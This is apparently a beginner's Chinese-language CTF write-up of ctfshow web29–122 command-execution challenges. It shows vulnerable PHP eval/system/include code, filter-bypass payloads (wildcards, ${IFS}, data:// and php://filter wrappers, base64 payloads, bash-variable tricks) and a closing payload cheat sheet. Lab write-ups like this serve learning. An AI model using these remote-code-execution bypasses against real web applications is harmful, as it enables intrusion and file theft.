命令執行
剛剛開始學習命令執行,萌新一個
因為是學習嘛,所以東西寫的雜亂了
web 29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
這里過濾了flag這個字符串
解法一:利用通配符$
payload:?c=system('cat fla*');

只是剛剛輸入完這個之后,由於是空白頁面,以為錯誤了
解法一,變式:修改文件名


解法二:利用``執行命令
payload:?c=system('cat ls');
ls是用反引號包起來的,既執行命令ls(打印出當前目錄的文件名),然后用cat讀出文件內容

解法三:字符串拼接

asd
web30
忘了貼代碼,這里是將system和flag過濾了
試了一手:?c=echo cat fla*;

web31
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
群主解法:構造新的執行點
給c傳一個eval($_GET[a])進去,再給a出入代碼,執行。
牛批的嗷!

上圖是驗證一下,下圖就是cat flag.php了

payload=>?c=eval($_GET[a]);&a=system('cat flag.php');
解法二 hint
無參數讀文件和RCE總結 - FreeBuf網絡安全行業門戶
由於是看的hint,就分析一下
payload=>show_source(next(array_reverse(scandir(pos(localeconv())))));
php函數:
localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。


pos() 函數返回數組中的當前元素的值(指的是:指針指向的元素)。

scandir() 函數返回指定目錄中的文件和目錄的數組

array_reverse():將數組倒敘輸出

next():將內部指針指向數組的下一個元素並輸出
show_source() 函數對文件進行語法高亮顯示,是highlight_file()別名。

所以,語句的步驟是:
先拿到一個.==》localeconv() pos()
接着掃描.目錄,即當前目錄==》scandir()
將掃描完的目錄倒敘==》array_reverse(),因為正序第一第二分別是:. ..
將倒敘完畢的數組的第二個元素輸出==》next()
打印文件信息==》show_source()
web 32
過濾了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(
這里考慮:利用文件包含以及偽協議讀取
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
這里偽協議的意思是,php://filter(過濾器)/convert.base64-encode(base64編碼的過濾器)/resource=flag.php
通過指定的通道讀取資源,base64-encode的一個通道
為什么$_GET[a]不用單引號?
因為PHP要向下兼容,所以可以不用單引號,以后可能會取消
web33
過濾了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"
比上面多了一個"
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
將引號去掉即可
web34
語言結構:不需要使用括號的函數 echo print isset unset include require
過濾了:
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\
比上面多了( :
因為上面的payload本來就沒有使用到( :,所以直接用上面的payload即可
因為過濾的是$c,所以我們輸入的a是沒得影響的
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web35
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=
多了< " =
因為上面的payload本來就沒有使用到< " =,所以直接用上面的payload即可
因為過濾的是$c,所以我們輸入的a是沒得影響的
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web 36
flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]
多了 / 數字
因為上面的payload本來就沒有使用到 / 數字,所以直接用上面的payload即可
因為過濾的是$c,所以我們輸入的a是沒得影響的
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web 37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
data偽協議:將后面的字符當做PHP代碼執行
data://,類似php://input,可以讓用戶來控制輸入流,當它與包含函數結合時,用戶輸入的data://流會被當作php文件執行。
?c=data://text/plain,<?php system("cat fl*");?>
看源代碼,因為flag.php注釋注釋了flag,所以看不見,需要查看源代碼
也可以使用tac來讀取,破壞php的注釋規則,就可以直接在頁面上看見flag了
web 38
error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
多過濾了 php file
依舊利用data偽協議,換一種PHP代碼寫法,是短標簽
?c=data://text/plain, 插看源代碼
也可考慮加密:格式?page=data://text/plain;base64,[base64_encode_shell]
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=
<?php system("cat flag.php");?> 進行base64加密是:PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=
兩種方式都各有好處,因為是做題學習,所以能多解就多解,畢竟俺也是個菜弟弟,能寫詳細就詳細點了
web 39
error_reporting(0);if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
沒有回顯,且強制加后綴
上面的payload也可以用
web 40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}額,這里的括號應該是中文括號,對比一下 |\(中文括號|\(英文括號|沒有過濾英文括號,下划線,分號,空格
解法一:利用PHP函數
如果沒有過濾英文括號,可以試一下用PHP自帶的函數,web31中有解釋
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
解法二:hint 利用session
?c=session_start();system(session_id());
接着F12,將PHPSESSID的值修改為ls

阿巴阿巴,弟弟繞不過,嗚嗚嗚
解法三:設置變量,執行變量,騷姿勢
?c=eval(array_pop(next(get_defined_vars())));
post傳入:1=phpinfo


群主牛批!!!
web 41
這里請參看這一位師傅的博客ctfshow web 入門 web 41
web 42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
ststem($c.">/dev/null 2>&1")將執行的c的結果輸入到/dev/null中shell中打開3中文件描述符,1代表標准輸出,2代表錯誤輸出,3代表標准輸入這里是將錯誤輸出綁定到標准輸出中,然后就會統一輸出到/dev/null中
?c=ls;ls
?c=tac flag.php;ls
;前面的被執行了返回結果,后面的執行了被放入/dev/null中
tac會對HTML的注釋產生破壞,所以就會直接顯示出來
web 43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
過濾了;和cat
cmd1 && cmd2 cmd1執行正確執行完畢后才執行cmd2
cmd1 || cmd2 cmd1執行錯誤執行完畢后才執行cmd2
?c=tac flag.php%26%26ls
%26是url加密的&,當tac執行完畢,再執行ls,進行了分割
也可以用%0a換行符
原理和web42一樣
web 44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
比上面多了flag
用通配符過濾就行
?c=tac fla*%26
web 45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}比上面多了空格
?c=tac%09fla*%26%26(%09水平定位符)
?c=tac${IFS}fla*%26%26
?c=echo${IFS}`tac${IFS}f*`%0A
web 46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}比上面多了數字,$ *
web 45的f*改成fla?.php即可
?c=tac%09fla?.php%26%26
%26是進行了URL編碼的&,不能當做數字
web 47
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
比上面多了,more less head sort tail
?c=tac%09fla?.php%26%26
即可
web 48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
tac依舊可用
web 48
tac依舊可用
web 50
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
利用shell特性''分割字符
?c=nl<fla''g.php%7c%7c
命令 nl
nl 可以將輸出的文件內容自動的加上行號!其默認的結果與 cat -n 有點不太一樣, nl 可以將行號做比較多的顯示設計,包括位數與是否自動補齊 0 等等的功能。
1. 命令格式:
nl [選項]... [文件]...
2. 命令參數:
-b :指定行號指定的方式,主要有兩種:
-b a :表示不論是否為空行,也同樣列出行號(類似 cat -n);
-b t :如果有空行,空的那一行不要列出行號(默認值);
-n :列出行號表示的方法,主要有三種:
-n ln :行號在螢幕的最左方顯示;
-n rn :行號在自己欄位的最右方顯示,且不加 0 ;
-n rz :行號在自己欄位的最右方顯示,且加 0 ;
-w :行號欄位的占用的位數。
-p 在邏輯定界符處不重新開始計算。
3. 命令功能:
nl 命令讀取 File 參數(缺省情況下標准輸入),計算輸入中的行號,將計算過的行號寫入標准輸出。 在輸出中,nl 命令根據您在命令行中指定的標志來計算左邊的行。 輸入文本必須寫在邏輯頁中。每個邏輯頁有頭、主體和頁腳節(可以有空節)。 除非使用 -p 標志,nl 命令在每個邏輯頁開始的地方重新設置行號。 可以單獨為頭、主體和頁腳節設置行計算標志(例如,頭和頁腳行可以被計算然而文本行不能)。
4.****使用實例:
實例一:用 nl 列出 log2012.log 的內容
命令:
nl log2012.log
輸出:
[root@localhost test]# nl log2012.log 1 2012-01 2 2012-02
web 51
過濾了tac
用nl<fla''g.php%7c%7cls即可
web 52
沒過濾$,用${IFS}代替空格
?c=nl${IFS}fla''g.php%7c%7cls

找到一個假的,然后查看一下根目錄
?c=ls${IFS}/||

?c=nl${IFS}/fla?%7c%7c

web 53
依舊沒有過濾$,而且沒有2<^&1了
?c=nl${IFS}fla?.php
?c=nl${IFS}fla''g.php
web 54
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
解法一:grep

?c=grep${IFS}'fla'${IFS}fla?.php
解法二:paste
Linux paste 命令 | 菜鳥教程 (runoob.com)
簡單說明一下:paste file1 file2,將文件1和file2合並(但是並沒有真的合並成一個文件),並且在終端顯示;;可以理解為打印file1 和 file2

?c=paste${IFS}
解法三:mv
將flag.php文件名字給改了,直接訪問
?c=mv${IFS}fl?g.php${IFS}a.txt
url/a.txt



hint:/bin/?at${IFS}f???????
/bin/?at${IFS}f???????查看源代碼
看不懂了
web 55
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
沒過濾 . 空格 ?
(38條消息) 繼無字母數字的命令執行(ctfshow web入門 55)新姿勢_Firebasky的博客-CSDN博客
解法一:
因為過濾了字母,有一個含數字的base64命令可以讀文件,用通配符繞過字母,在/bin目錄下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???
解法二:
bzip2命令是一個壓縮文件的命令,壓縮文件后綴為.bz2,命令路徑:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
壓縮后下載,訪問/flag.php.bz2。
解法三:上傳文件
無字母數字webshell之提高篇 | 離別歌 (leavesongs.com)
(38條消息) 無字母數字的命令執行(ctfshow web入門 55)_Firebasky的博客-CSDN博客
潛說一下原因:
. filename和source filename 都是直接編譯文件
由於php上傳文件之后,上傳到tem目錄下,在tem目錄下臨時保存為一個phpxxxxX(大寫)? 的一個文件名
知道這個特性,就可以直接去編譯這個臨時文件!!!
/?c=.%20/???/????????[@-[]

web 56
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
沒過濾 . 空格 ?
方法同web 55方法三
web 58
沒有過濾
post c=show_source(next(array_reverse(scandir(pos(localeconv())))));
然后看了一下題,原來是禁用函數,上面純屬誤打誤撞
先傳入c=phpinfo();看看有什么函數被禁用了
然后發現phpinfo也被禁用了。。。妙啊,既然如此就一個一個試
發現:system,shell_exec被禁用,可以使用file_get_contents()
post c=echo file_get_contents('flag.php');
post c=show_source('flag.php'); 也行,也對,人家沒有過濾flag,可以直接讀取誒
web 59
這里吧file_get_contents()禁用了
post c=show_source(flag.php);
post c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php

post c=highlight_file('fllag.php');
post c=print_r(scandir('/')); 查看目錄
web 60
post c=include($_GET[1]); ?1=php://filter/convert.base64-encode/resource=flag.php
post c=highlight_file('flag.php');
post c=show_source('flag.php');
web 61
同60
web 62
繼續白嫖60,又有一個騷姿勢
post c=include('flag.php');echo $flag; (前提是我們知道是在flag.php中,且$flag是flag)
web 63
62方法plus
get_defined_ vars():返回已經定義了的變量名和數組名
由於已經將flag.php給include了,所以flag.php中的變量也會被輸出
post c=include('flag.php');var_dump(get_defined_vars());

所以,現在不需要知道flag.php中的變量名是什么也行;
62方法plus++ (什么都不需要知道)
掃描目錄:post c=var_dump(scandir('./'));
加載文件:post c=include('flag.php');var_dump(get_defined_vars());
62方法plus++ pro
一步到位:post c=include(scandir('./')[2]);var_dump(get_defined_vars());
print_r和var_dump雖然有區別,由於我們這里的都是一些簡單的字符串,所以沒啥影響
魔改:
日志包含:這里建議去看看群主的方法B站里面
web 64
哈哈哈,白嫖62方法
嘿嘿嘿,本來跟着視頻想用一下rename()的,可惜不行,重命名,群主師傅最喜歡的方式
web 65
白嫖前面的可以
web 66
show_source()被ban了,但是還是可以使用highlight_file
先使用post c=print_r(scandir('./'));找一下flag文件在什么位置
然后發現在根目錄下有一個flag.txt
用highlight_file('flag.txt');讀出來flag就行
web 67
嫖web66
web 68
ban了,highlight_file,print_r
可以使用var_dump,include
flag在根目錄下的flag.txt中
由於是txt文件,所以直接引入就行,引入了會當做普通文本信息,直接輸入
post c=include('/flag.txt');
web 69
web 68方法可以直接用
看了一下其它師傅的wp,說的是print_r var_dump被ban了
可以使用var_export()來進行輸出,用來查看目錄
web 70
繼續白嫖,var_export也可以用
web 71
有個附件
post c=var_export(scandir('/'));exit();
發現flag在根目錄下,為flag.txt
post c=include('/flag.txt');exit();
web72

看樣子應該是增加了過濾
emmmm,scandir沒了
利用glob協議掃描目錄
c=$a="glob:///*.txt";if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:",$file."\n";
}
closedir($b);
}
exit();
這也是掃描目錄的,上面是直接找.txt結尾的文件,這里相當於是ls注意,glob:///*是glob://協議 /*是根目錄下所有文件
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}
exit(0);?>

讀取到flag0.txt
額,然后到ctfshow交流群中下載72poc.php的一個文件
把文件內容直接粘貼上去,經過url編碼就可以得到flag
大佬們太強了orz
web 73
先掃一下目錄,得到flag文件為flagc.txt文件
繼續使用72poc.php中的代碼,發現有個strlen被禁用了,考慮將strlen函數重寫
但是超內存了,好像還是不行
不過這里可以直接使用include('/flagc.txt');exit()
web 74
include('/flagc.txt');exit()
web 75
掃描出來是flag36.txt
c=try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null;}
catch (PDOException $e) { echo $e->getMessage(); exit(0);}exit(0);
PDO這個不會,說的是前面幾個題可以查到數據庫名稱
額,但是問題是,賬號密碼呢?哪里的配置文件哦?
web 76
同上
web 77
利用7.4的特性,命令接口
c=$ffi=FFI::cdef("int system(const char *command);");
$a='readflag>/var/www/html/1.txt';
//這里放命令就行,readflag是題目里面的一個腳本$ffi->system($a);
這個姿勢有點牛批的嗷!!!
web 118
牛批的嗷!!!這道題利用bash的內置變量構造出了nl flag.php
首先是知道flag是在flag.php中的,題目有說明
接着從正常的內置命令中,截取字符構造出想要的字符

A,B,C等代表0,代表取后幾位;A,取最后一位的前一位


由於hint中給了一張圖,一張路勁的圖片,一張ls
然后用${PATH:A}表示n,${PWD:A}代表l,就有了nl
nl,然后執行命令
${PATH:A}${PWD:A} fla?.php
web 119
這里大師傅們用了這兩個內置變量:RANDOM和SHLVL。
RANDOM
此變量值,隨機出現整數,范圍為0-32767。不過,雖然說是隨機,但並不是真正的隨機,因為每次得到的隨機數都一樣。為此,在使用RANDOM變量前,請隨意設定一個數字給RANDOM,當做隨機數種子,這樣才不會每次產生的隨機數其順序都一樣。
因此光利用RANDOM這個函數理論上就可以得到數字1-5了,不過相對來說4和5的概率會更大。
SHLVL 是記錄多個 Bash 進程實例嵌套深度的累加器
不理解也沒關系,只要知道這個東西的默認值是1,而且如果不進行一些特殊的操作的話,永遠都是1,所以這個可以幫助我們得到數字1。
yu師傅使用的是/bin/base64 flag.php,因此考慮構造出/和數字4就可以了,當然數字6也不是不能構造。最終payload如下:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
由於是隨機數,所以要多執行幾次才能看見答案案
web 120
可以白嫖web119
hint中用了${user},額,試了一下,看不懂
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web 121
可以繼續白嫖web119
因為過濾了SHLVL,所以需要將${SHLVL}修改為${##}或者${#?}
#?代表上一次
hint:
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
PWD是/var/www/html正好有一個r,且${#IFS}為3
用的是,/bin/rev來讀取flag文件,這是將文件內容倒敘輸出
不過,不知道用的是什么系統,Ubuntu下沒有/bin/rev,只有rev

web 122
嗯,這個實在是有點不行,就直接復制粘貼了
又ban了許多東西,ban了PWD可以用HOME代替,但是把#給ban就非常難受了,沒想到比較好的辦法。
看了一下yu師傅的WP,還是利用$?,獲取上一條命令執行結束后的返回值,0代表成功,非0代表失敗。而且這個返回值原來是可控的:
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
"OS error code 11: Resource temporarily unavailable"
"OS error code 12: Cannot allocate memory"
"OS error code 13: Permission denied"
"OS error code 14: Bad address"
"OS error code 15: Block device required"
"OS error code 16: Device or resource busy"
"OS error code 17: File exists"
"OS error code 18: Invalid cross-device link"
"OS error code 19: No such device"
"OS error code 20: Not a directory"
"OS error code 21: Is a directory"
"OS error code 22: Invalid argument"
"OS error code 23: Too many open files in system"
"OS error code 24: Too many open files"
"OS error code 25: Inappropriate ioctl for device"
"OS error code 26: Text file busy"
"OS error code 27: File too large"
"OS error code 28: No space left on device"
"OS error code 29: Illegal seek"
"OS error code 30: Read-only file system"
"OS error code 31: Too many links"
"OS error code 32: Broken pipe"
"OS error code 33: Numerical argument out of domain"
"OS error code 34: Numerical result out of range"
"OS error code 35: Resource deadlock avoided"
"OS error code 36: File name too long"
"OS error code 37: No locks available"
"OS error code 38: Function not implemented"
"OS error code 39: Directory not empty"
"OS error code 40: Too many levels of symbolic links"
"OS error code 42: No message of desired type"
"OS error code 43: Identifier removed"
"OS error code 44: Channel number out of range"
"OS error code 45: Level 2 not synchronized"
"OS error code 46: Level 3 halted"
"OS error code 47: Level 3 reset"
"OS error code 48: Link number out of range"
"OS error code 49: Protocol driver not attached"
"OS error code 50: No CSI structure available"
"OS error code 51: Level 2 halted"
"OS error code 52: Invalid exchange"
"OS error code 53: Invalid request descriptor"
"OS error code 54: Exchange full"
"OS error code 55: No anode"
"OS error code 56: Invalid request code"
"OS error code 57: Invalid slot"
"OS error code 59: Bad font file format"
"OS error code 60: Device not a stream"
"OS error code 61: No data available"
"OS error code 62: Timer expired"
"OS error code 63: Out of streams resources"
"OS error code 64: Machine is not on the network"
"OS error code 65: Package not installed"
"OS error code 66: Object is remote"
"OS error code 67: Link has been severed"
"OS error code 68: Advertise error"
"OS error code 69: Srmount error"
"OS error code 70: Communication error on send"
"OS error code 71: Protocol error"
"OS error code 72: Multihop attempted"
"OS error code 73: RFS specific error"
"OS error code 74: Bad message"
"OS error code 75: Value too large for defined data type"
"OS error code 76: Name not unique on network"
"OS error code 77: File descriptor in bad state"
"OS error code 78: Remote address changed"
"OS error code 79: Can not access a needed shared library"
"OS error code 80: Accessing a corrupted shared library"
"OS error code 81: .lib section in a.out corrupted"
"OS error code 82: Attempting to link in too many shared libraries"
"OS error code 83: Cannot exec a shared library directly"
"OS error code 84: Invalid or incomplete multibyte or wide character"
"OS error code 85: Interrupted system call should be restarted"
"OS error code 86: Streams pipe error"
"OS error code 87: Too many users"
"OS error code 88: Socket operation on non-socket"
"OS error code 89: Destination address required"
"OS error code 90: Message too long"
"OS error code 91: Protocol wrong type for socket"
"OS error code 92: Protocol not available"
"OS error code 93: Protocol not supported"
"OS error code 94: Socket type not supported"
"OS error code 95: Operation not supported"
"OS error code 96: Protocol family not supported"
"OS error code 97: Address family not supported by protocol"
"OS error code 98: Address already in use"
"OS error code 99: Cannot assign requested address"
"OS error code 100: Network is down"
"OS error code 101: Network is unreachable"
"OS error code 102: Network dropped connection on reset"
"OS error code 103: Software caused connection abort"
"OS error code 104: Connection reset by peer"
"OS error code 105: No buffer space available"
"OS error code 106: Transport endpoint is already connected"
"OS error code 107: Transport endpoint is not connected"
"OS error code 108: Cannot send after transport endpoint shutdown"
"OS error code 109: Too many references: cannot splice"
"OS error code 110: Connection timed out"
"OS error code 111: Connection refused"
"OS error code 112: Host is down"
"OS error code 113: No route to host"
"OS error code 114: Operation already in progress"
"OS error code 115: Operation now in progress"
"OS error code 116: Stale NFS file handle"
"OS error code 117: Structure needs cleaning"
"OS error code 118: Not a XENIX named type file"
"OS error code 119: No XENIX semaphores available"
"OS error code 120: Is a named type file"
"OS error code 121: Remote I/O error"
"OS error code 122: Disk quota exceeded"
"OS error code 123: No medium found"
"OS error code 124: Wrong medium type"
"OS error code 125: Operation canceled"
"OS error code 126: Required key not available"
"OS error code 127: Key has expired"
"OS error code 128: Key has been revoked"
"OS error code 129: Key was rejected by service"
"OS error code 130: Owner died"
"OS error code 131: State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full; Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"
yu師傅說${}的報錯在本地返回時1,但是題目環境是2,所以放開了<<A的報錯返回也是1,所以就成功得到了數字1,至於數字4拿RANDOM隨機就可以了。
不過為什么${}和<A這樣的報錯歸屬為Operation not permitted我也很迷。。。yu師傅說${}的報錯在本地返回時1,但是題目環境是2,所以放開了<<A的報錯返回也是1,所以就成功得到了數字1,至於數字4拿RANDOM隨機就可以了。不過為什么${}和<A這樣的報錯歸屬為Operation not permitted我也很迷。。。
最終payload如下:
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
————————————————
版權聲明:本文為CSDN博主「bfengj」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/rfrder/article/details/112862827
小知識點總結
過濾不嚴謹
-
nl命令:讀取文件內容,相當於cat
-
``執行命令之后記得用echo進行回顯
-
echo 后面要帶上;
-
``效果和system作用相似,但是用法不同(echo `` system(''))
-
%09 tab鍵
-
利用PHP函數show_source(next(array_reverse(scandir(pos(localeconv())))));
-
passthru()執行外部程序並且顯示原始輸出
-
利用文件包含,php://filter/convert.base64-encode/resource=flag.php
繞過空格
- %0a 換行符
- %09 水平定位符
- $IFS ${IFS}
- <> 需要寫的權限
- <
- %3c就是<
- 還看見一個
語言結構
- 可以不使用括號的函數:echo print isset unset require include
- PHP可以大寫,例如:PHPINFO() PHPinfo() 也可以寫成 ('phpinfo')() ("system")("ls")
system($c)過濾
- 過濾 ; 利用%0a && & ||
- 過濾空格
- ${IFS}
- %0a 1
- nl<fla''g.php shell特性
(38條消息) CTF中命令執行知識點總結_Hello_super的博客-CSDN博客
erR0Ratao (cnblogs.com)web42-54繞過總結
Linux查看文件命令
cat //cat flag.php
tac //tac flag.php
head //head flag.php
tail //tail flag.php
nl //nl flag.php
more //more flag.php
less //less flag.php
od //od flag.php
grep //grep 'fla' flag.php
strings //strings flag.php
sort //sort flag.php
無字母類型
因為過濾了字母,有一個含數字的base64命令可以讀文件,用通配符繞過字母,在/bin目錄下,使用/???/????64
?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/????64 ????.???
壓縮包
bzip2命令是一個壓縮文件的命令,壓縮文件后綴為.bz2,命令路徑:/usr/bin/bzip2
?c=/bin/bzip2 flag.php
即?c=/???/????2 ????.???
壓縮后下載,訪問/flag.php.bz2。
上傳文件
看上面的解析
禁用函數中執行:eval($c)
- c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- c=echo file_get_contents(flag);
- c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
- c=highlight_file('flag.php');
- post c=include('flag.php');echo $flag; (前提是我們知道是在flag.php中,且$flag是flag)
- 日志執行,實在是看又看不懂
查看目錄:
print_r(scandir("/"));
var_dump(scandir("/"));
var_export(scandir("/"));(一般過濾前兩個)
Linux 基礎知識:Bash的內置變量_Craft Life的技術博客_51CTO博客
常見 Bash 內置變量介紹 - sparkdev - 博客園 (cnblogs.com)
所使用的命令
因為總結題型不太好,於是就將大部分命令列了出來,看到命令,基本就能夠回憶題型
?c=system('cat `ls`');
?c=echo `cat fla*`;
?c=eval($_GET[a]);&a=system('cat flag.php');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include%0a$_REQUEST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=data://text/plain,<?php system("cat fl*");?>
?c=data://text/plain,<?= system("cat fl*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=
array_pop獲取post傳入的phpinfo(),然后eval執行,當確定能夠執行之后,將phpinfo()換成system('cat flag.php');
?c=eval(array_pop(next(get_defined_vars())));
post 1=phpinfo()
?c=ls;ls
?c=tac flag.php;ls
?c=tac flag.php%26%26ls %26是&
?c=tac fla*%26
?c=tac${IFS}fla*%26%26
?c=echo${IFS}`tac${IFS}f*`%0A ${IFS}是空格 %0a是提行
?c=tac%09fla?.php%26%26
?c=tac%09fla?.php%26%26
?c=nl<fla''g.php%7c%7c $7c是| <是空格
?c=ls${IFS}/||
?c=nl${IFS}/fla?%7c%7c
?c=grep${IFS}'fla'${IFS}fla?.php
?c=paste${IFS}fla?.php
?c=mv${IFS}fl?g.php${IFS}a.txt
?c=/bin/?at${IFS}f??????? 因為cat是在/bin/目錄下,這里相當於是執行cat命令,可以在虛擬機中嘗試
無字母
?c=/bin/base64 flag.php(flag.php全靠猜) 即?c=/???/????64 ????.???
?c=/bin/bzip2 flag.php 即?c=/???/????2 ????.???
還有一招上傳文件,post /?c=.%20/???/????????[@-[] .和source相同,是編譯文件
禁函數
rename()
post c=show_source('flag.php');
post c=echo file_get_contents('flag.php');
post c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
post c=highlight_file('flag.php');
post c=include('flag.php');echo $flag;
post c=include('flag.php');var_dump(get_defined_vars());
post c=include(scandir('./')[2]);var_dump(get_defined_vars()); 有些時候sandir('\')[2]會報錯
post c=print_r(scandir('./')); var_dump var_export
post c=include('/flag.txt');
緩沖區繞過
post c=include('/flag.txt');exit();
${PATH:~A}${PWD:~A} fla?.php ${PATH}路徑,~A,取最后一位的前一位
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? ${SHLVL}永遠都是1
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? ${##} ${#?}
在補充一個轉碼繞過的方式
<?php
echo base_convert(37907361743,10,36);
echo "\n";
echo "代碼中上面的執行結果是hex2bin";
echo "\n";
echo base_convert(37907361743,10,36)((dechex(1598506324)));
echo "\n";
